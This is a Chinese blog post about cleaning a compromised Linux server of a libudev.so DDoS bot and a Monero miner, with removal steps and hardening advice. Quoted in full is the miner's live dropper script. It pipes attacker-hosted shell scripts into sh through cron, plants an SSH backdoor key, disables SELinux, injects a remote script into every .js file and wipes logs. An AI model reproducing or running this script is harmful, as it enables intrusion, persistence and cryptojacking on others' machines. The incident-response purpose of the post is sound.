挖矿病毒查杀

挖矿病毒查杀转发地址:https://yq.aliyun.com/articles/657476这两天使用的公网服务器被入侵了,而且感染了不止一种病毒:一种是libudev.so,是DDoS的客户端,现象就是不停的向外网发包,也就是超目标发起DDoS攻击;另外一种是挖矿程序,除了发包之外,还会造成很高的CPU负载。下面记录一下病毒的行为和查杀方法。1.libudev.so1.1病…

大家好,又见面了,我是你们的朋友全栈君。

转发地址:https://yq.aliyun.com/articles/657476

这两天使用的公网服务器被入侵了,而且感染了不止一种病毒:一种是 libudev.so,是 DDoS 的客户端,现象就是不停的向外网发包,也就是超目标发起 DDoS 攻击;另外一种是挖矿程序,除了发包之外,还会造成很高的 CPU 负载。下面记录一下病毒的行为和查杀方法。

1. libudev.so

1.1 病毒特征

这种病毒的特征还是很明显的,进程列表中会出现很多名字很奇怪的进程,如下所示:

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND       
16430 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 qfurpuznoegtbv
16429 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 ygqickkj      
16426 root      20   0    1408   1200    480 S   0.0  0.0   0:00.00 fuohkudjxn    
16423 root      20   0    1408   1200    480 S   0.0  0.0   0:00.00 haewibkygwtd  
16418 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 guzajbbrdjws  
......
 8421 root      20   0   27012   1248    480 S   0.3  0.0   0:05.53 urdivg  

除此之外还会在修改 /etc/crontab 和新增文件 /etc/cron.hourly/gcc.sh 来启动定时任务。

/etc/cron.hourly/gcc.sh 内容如下:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

这个脚本的内容大概是打开网卡,然后启动 libudev.so。

该程序还会同时启动多个进程来监控 libudev.so 进程是否被杀掉,如果被关掉了,会再把 libudev.so 拉起来,而且这个监控进程为了防止备关掉,还会不停的变换自己的进程名和进程号,这就给查杀带来了更大的难度。

1.2 查杀方法

首先删除 /etc/crontab 文件中的定时任务,并保护该文件不再被病毒修改:

$ sudo chattr +i /etc/crontab

然后定位病毒的主进程,这需要通过 top 命令查看,往往 CPU 占用率最高的进程就是了,在我的例子中 8421 就是。定位后让其暂停执行,这时网络发包就会停下来了,同时也不会再不停的生成新进程了。

$ sudo kill -stop 8421

接下来解决病毒产生的自启动文件,注意:具体的文件名称可能会有所不同,大家要根据自己的情况对应修改,领外 /etc/rc*.d/ 的 S01* 文件都是指向 /etc/init.d/ 里的启动脚本的软链接,而且是从 rc1.d 一直到 rc5.d 中都有,因为是软链接,也可以不用删除。

$ rm -r /etc/init.d/yjrfdbdkfs
$ rm -r /etc/rc1.d/S01yjrfdbdkfs
......

病毒启动脚本中调用的可执行文件也要删掉,文件存放在 /bin 和 /usr/bin 目录下,和启动脚本的名字是一致的,另外大家要留意一下是否有其他文件也被做了篡改,可以用时间倒序排列这两个目录下的文件,日期很新的都很有可能是被修改过的,都需要删除。下面这个例子中,dsxictdfoedxaj文件明显就是有问题的。

$ ls -lrt /bin/
......
-rwxr-xr-x 1 root root   23152 May 14 12:42 kill
lrwxrwxrwx 1 root root      20 Jun 11 12:37 mt -> /etc/alternatives/mt
lrwxrwxrwx 1 root root      24 Jun 11 12:37 netcat -> /etc/alternatives/netcat
lrwxrwxrwx 1 root root      20 Jun 11 12:37 nc -> /etc/alternatives/nc
-rwxr-xr-x 1 root root  562346 Oct 24 13:25 dsxictdfoedxaj
$ rm -r dsxictdfoedxaj

$ ls -lrt /usr/bin/
......
-rwxr-xr-x 1 root root  562346 Oct 24 11:32 yjrfdbdkfs
-rwxr-xr-x 1 root root  562346 Oct 24 11:32 yjrfdbdkfs.sh
$ rm -r /usr/bin/yjrfdbdkfs*

病毒在 /etc/cron.hourly/ 目录下产生的定时任务文件也要删掉,

$ rm -r /etc/cron.hourly/*.sh

最后,删掉 libudev.so ,再杀掉进程就算是大功告成了:

$ sudo rm -r /lib/libudev.so*
$ sudo kill -9 8421

2. XMR 挖矿程序

2.1 病毒特征

第二种病毒是门罗币(XMR)挖矿程序,门罗币似乎是今年年初涨得很快,所以用病毒入侵挖矿的手法也就出现了,病毒主要是通过下载脚本,运行后下载并启动挖矿程序来工作,脚本的内容如下,关于脚本的代码分析见于:XMR恶意挖矿案例简析,里面讲的非常详细。

# cat /etc/shz.sh 
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
then
pkill zjgw
chattr -i /etc/shz.sh
rm -f /etc/shz.sh
chattr -i /tmp/shz.sh
rm -f /tmp/shz.sh
chattr -i  /etc/gmbpr
rm -f /etc/gmbpr
else
echo "ok"
fi
if [ -f "$rtdir" ]
then
echo "goto 1" >> /etc/gmbpr2
grep -q "46j2h" /etc/config.json
if [ $? -eq 0 ];
then
echo "config ok"
else
chattr -i /etc/config.json
rm -f /etc/config.json
fi
chattr -i $cont
if [ -f "$bbdir" ]
then
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
fi
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
ps -fe|grep zigw |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
outip=`url icanhazip.com`
ip=`echo ${outip//./o}`
if [ -z "$ip" ]; then
outip=`curl icanhazip.com`
ip=`echo ${outip//./o}`
fi 
if [ -z "$ip" ]; then
ip="unknow"
fi
filesize=`ls -l zigw | awk '{ print $5 }'`
cfg="/etc/config.json"
file="/etc/zigw"
if [ -f "$cfg" ]
then
echo "exists config"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json
elif [ -f "$bbdira" ]
then
url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json
elif [ -f "$ccdir" ]
then
wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json
elif [ -f "$ccdira" ]
then
get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json
fi
fi
if [ -f "$file" ]
then
if [ "$filesize" -ne "1467080" ]
then
chattr -i /etc/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
elif [ -f "$ccdira" ]
then
get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
elif [ -f "$ccdira" ]
then
get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
fi
fi
chmod 777 zigw
sed -i "s/unknow/${ip}/g" config.json
sleep 5s
./zigw
else
echo "runing....."
fi
chmod 777 /etc/zigw
chattr +i /etc/zigw
chmod 777 /etc/shz.sh
chattr +i /etc/shz.sh
shdir='/etc/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
fi
sh /etc/shz.sh
fi
else
echo "goto 1" > /tmp/gmbpr2
chattr -i $cont
[[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}
ps -fe|grep zigw |grep -v grep
if [ $? -ne 0 ]
then
cd /tmp
outip=`url icanhazip.com`
ip=`echo ${outip//./o}`
if [ -z "$ip" ]; then
outip=`curl icanhazip.com`
ip=`echo ${outip//./o}`
fi 
if [ -z "$ip" ]; then
ip="unknow"
fi
filesize=`ls -l zigw | awk '{ print $5 }'`
cfg="/tmp/config.json"
file="/tmp/zigw"
if [ -f "$cfg" ]
then
echo "exists config"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json
elif [ -f "$bbdira" ]
then
url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json
elif [ -f "$ccdir" ]
then
wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json
elif [ -f "$ccdira" ]
then
get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json
fi
fi
if [ -f "$file" ]
then
if [ "$filesize" -ne "1467080" ]
then
chattr -i /tmp/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
elif [ -f "$ccdira" ]
then
get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
elif [ -f "$ccdira" ]
then
get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
fi
fi
chmod 777 zigw
sed -i "s/unknow/${ip}/g" config.json
sleep 5s
./zigw
else
echo "runing....."
fi
chmod 777 /tmp/zigw
chattr +i /tmp/zigw
chmod 777 /tmp/shz.sh
chattr +i /tmp/shz.sh
shdir='/tmp/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh
fi 
sh /tmp/shz.sh
fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

2.2 查杀方法

病毒的工作方法和上一个是类似的,也是会加载一个任务,并启动多个进程,互相监控和保护,只是细节有些不同。

该病毒定时任务是写进了文件:/var/spool/cron/root,需要对应删除里面的内容。

然后要删除病毒的启动脚本:

$ sudo rm /etc/shz.sh

找到病毒的主进程(找到主进程的方式和之前也差不多,找 CPU 占用率最高的进程就可以了。),并停掉:

$ sudo kill -stop 23701 24192

删除主进程的配置文件和可执行文件:

$ sudo rm /etc/conf.json
$ sudo rm /etc/zjgw

删除其他病毒添加的文件:

$ sudo rm /etc/conf.n
$ sudo rm /etc/zaker

最后杀掉进程即可:

$ sudo kill -9 23701 24192

另外 /tmp 目录下也会有一些残留文件,一并删除吧:

# ll /tmp/
total 40
drwxrwxrwt  8 root root 4096 Oct 24 03:10 ./
drwxr-xr-x 24 root root 4096 Oct 23 06:18 ../
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .ICE-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .Test-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .X11-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .XIM-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .font-unix/
-rwxr-xr-x  1 root root    5 Oct 18 13:48 gates.lod*
-rwxr-xr-x  1 root root    5 Oct 18 13:48 moni.lod*
drwx------  3 root root 4096 Oct 18 13:47 systemd-private-8292a854ab55417a91c7b42f6360aa75-systemd-timesyncd.service-dTAzr3/
-rw-r--r--  1 root root    0 Oct 18 13:49 tmp.l
# rm gates.lod moni.lod tmp.l

3 总结

本次有多台服务器感染病毒,造成了不小的影响,主要的问题是因为 root 用户使用了强度较弱的口令,同时在公网暴露了 SSH 端口,另外虚拟机的基础镜像中就已经携带了病毒,造成每个产生的实例启动后都带上了病毒。

所以基础的安防工作还是要从以下几个方面入手:

  • 减少公网暴露的端口数量;
  • 禁止使用 root 用户进行 SSH 登录;
  • 加强用户口令的强度;
  • 对基础镜像做安全检查;
  • 加强对线上服务的监控并设置告警规则。

4. 参考资料

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/141699.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 淘宝开源工具:Orztop

    淘宝开源工具:Orztop

  • pycharm连接mysql数据库代码_myeclipse连接数据库

    pycharm连接mysql数据库代码_myeclipse连接数据库PyCharm是一款常用的Python开发的软件,这里给大家介绍一下如何在PyCharm如何连接MySQL数据库。首先,我们需要找到页面中的DataBase窗口,一般在页面的右侧,没有显示的话,可以点击View->ToolWindows->DataBase。然后显示DataBase之后,我们点击DataBase。然后我们点击DataBase的这个+号。然后选择DataSource->MySQL。然后就显示到连接的页面,如果是第一次连接的时候,就需要点击下面的D

  • vim中对文本的选择

    vim中对文本的选择

  • pycharm2019.3.3激活成功教程_pycharm界面

    pycharm2019.3.3激活成功教程_pycharm界面PyCharm是由著名的JetBrains公司所打造的一款功能强大的PythonIDE,它具有一般IDE都具备的功能,并且使用起来非常方便好用。最近需求PyCharm激活码的网友非常多,小编就在这里给大家分享一下PyCharm2019最新可用的激活注册码。激活Pycharm专业版的方法有很多,小编在这里主要给大家分享最有效的两种,一种是使用最新可用的注册激活码,一种是使用激活成功教程补丁的方法,这种方法…

  • SDIO接口介绍_usb接口有几种规格

    SDIO接口介绍_usb接口有几种规格SDIO接口是在SD内存卡接口的基础上发展起来的接口,SDIO接口兼容以前的SD内存卡,并且可以连接SDIO接口的设备。SDIO1.0标准定义了两种类型的SDIO卡:1.全速的SDIO卡,传输率可以超过100Mbps;2.低速的SDIO卡,支援的时脉速率在0至400KHz之间。      SDIO协议是由SD卡的协议演化升级而来的,很多地方保留了SD卡的读写协议,同

  • JSONPath浅析

    JSONPath浅析 在日常的项目开发中,我们常常会为了避免在代码中hardcoding而对某些参数进行配置化,进而提高开发效率和灵活性。而常用的数据结构就是JSON。而对配置的数据的获取的方式常常有以下几种方式:第一种:JSONPath:@TestpublicvoidtestJsonPath(){JSONObjectdata=JSONObject…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号